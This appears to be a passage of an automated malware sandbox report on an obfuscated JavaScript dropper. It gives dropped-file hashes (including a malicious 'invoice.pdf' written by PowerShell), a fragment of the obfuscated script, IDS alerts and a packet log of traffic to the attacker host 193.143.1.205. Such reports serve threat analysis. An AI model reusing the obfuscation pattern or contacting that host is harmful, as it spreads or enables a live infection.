Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7f4c0ba8-2001-4413-a94a-0f1fbd80d291.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15195), with CRLF line terminators
Entropy (8bit):	4.930466089378201
TrID:
File name:	21092429235262508.js
File size:	18'651 bytes
MD5:	8b9d4e6e0122eed9eb8de2e4b420bdc7
SHA1:	8db4285a6b5a15b741b4515c5245c371342d8abe
SHA256:	0bd78aa72488198df9473543649cd4b41bfb5b087491a211e78da901700f8e13
SHA512:	fe03789ea23f675b00bd7204084a63d7bbfaed7bf739398866f124d1542fed8ffe6f7dbca09e51ac474d04618da71a22a27410d17c1333249f883b8a17cce0e2
SSDEEP:	384:RBag/MQ9nt7+JWxGhntBJm3o7w6wGRu86N50:RBag/d9kw6wGBsC
TLSH:	088220D8D1C8CA31ABCD03F4A09A58F50EE40AC9094CAA9E2D83B4546F65FF197D77B4
File Content Preview:	function aioxzej(){jcayi=[1031,3079,5127,4103,2055,3072];var sultyy=this[jyuqdjez+yqquzmho+vzrhjbb+dcfzpvil+mfjvkqtr+vlvcsmwm+nwwnm+avdxfmtf](this[xmjnjn+myltyeplu+affwjajp+vzrhjbb+rlvzq+jyuqdjez+avdxfmtf][ztygoohf+vzrhjbb+mfjvkqtr+yqquzmho+avdxfmtf+mfjvk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:55:19.918517+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T23:55:22.632127+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:55:19.103841066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.108695984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.108773947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.111747026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.116508007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918394089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918421030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918433905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918517113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.918592930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918612957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918627024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918646097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.918648958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918663979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918675900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918682098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.918692112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.918711901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.918730974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:19.975853920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.975876093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.975886106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:19.975929022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.042993069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043009996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043024063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043036938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043051004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.043100119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.043219090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043240070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043279886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.043359995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043425083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043437004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043457031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043462992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.043469906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.043509007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.044203997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044249058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.044415951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044428110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044440031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044459105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.044471025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044483900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.044509888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.045238018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.045278072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.045295000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.045306921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.045339108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.071907997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.071952105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.071965933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.072009087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.168344975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.168363094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.168382883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.168394089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.168414116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.168461084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.184959888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.184986115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.184998989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185051918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185062885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185075045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185091019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185163021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185204983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185254097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185266018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185297012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185544014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185555935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185566902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185581923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185595989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185636997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.185935974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185957909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.185971975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186002016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.186008930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186054945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186064005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.186598063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186609983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186623096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186642885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186652899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.186655998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186677933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186678886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.186691999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.186698914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.186739922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.187510014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187536001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187544107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187549114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187557936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187570095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187577009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.187585115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.187599897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.187617064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.188352108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188405037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.188417912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188430071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188441992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188460112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188472033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.188473940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188487053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.188502073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.188524961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.189248085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189294100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189313889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189325094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189340115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.189357996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189367056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.189372063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.189420938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.270107985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.270149946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.270193100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.306688070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306737900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306749105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306767941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306780100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306785107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.306792974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.306834936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328361034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328373909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328387022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328399897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328444958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328459024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328471899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328480959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328511953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328783035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328794956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328807116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328830004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328830004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328844070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328857899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328871965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.328879118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.328906059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329102993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329113960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329144001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329153061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329193115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329195976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329205036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329241037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329423904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329509020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329521894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329534054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329554081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329577923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329647064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329658031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329670906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329683065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329693079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329751015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329884052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329905987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329922915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329938889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.329943895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.329979897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330008984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330020905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330033064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330054045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330070019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330111027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330490112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330501080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330513954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330543995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330543995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330558062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330570936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330601931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330631018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330631971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330645084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330657005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330670118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330683947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330689907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330698967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.330710888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.330740929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331418991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331438065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331453085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331464052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331479073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331489086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331501961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331513882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331518888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331532001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331542015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331546068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331559896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331572056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331579924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331592083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.331600904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.331628084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.332451105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332463026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332484007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332494974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332504988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.332509041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332523108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332530022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.332559109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.332595110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332607031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332633018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332644939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332657099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.332658052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332674980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.332683086 CET	49704	80	192.168.2.5	193.143.1.205
